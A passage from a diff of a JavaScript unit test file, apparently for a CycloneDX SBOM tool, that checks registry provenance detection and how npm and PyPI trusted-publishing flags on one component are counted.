assert.strictEqual(
|
|
116
|
+
hasRegistryProvenanceEvidenceProperties(properties),
|
|
117
|
+
true,
|
|
118
|
+
);
|
|
119
|
+
});
|
|
120
|
+
|
|
121
|
+
it("counts total trusted publishing components once even with multiple registry flags", () => {
|
|
122
|
+
assert.deepStrictEqual(
|
|
123
|
+
getTrustedPublishingComponentCounts([
|
|
124
|
+
{
|
|
125
|
+
name: "dual-published",
|
|
126
|
+
properties: [
|
|
127
|
+
{
|
|
128
|
+
name: "cdx:npm:trustedPublishing",
|
|
129
|
+
value: "true",
|
|
130
|
+
},
|
|
131
|
+
{
|
|
132
|
+
name: "cdx:pypi:trustedPublishing",
|
|
133
|
+
value: "true",
|
|
134
|
+
},
|
|
135
|
+
],
|
|
136
|
+
},
|
|
137
|
+
]),
|
|
138
|
+
{
|
|
139
|
+
npm: 1,
|
|
140
|
+
pypi: 1,
|
|
141
|
+
total: 1,
|
|
142
|
+
},
|
|
143
|
+
);
|
|
144
|
+
});
|
|
145
|
+
});
|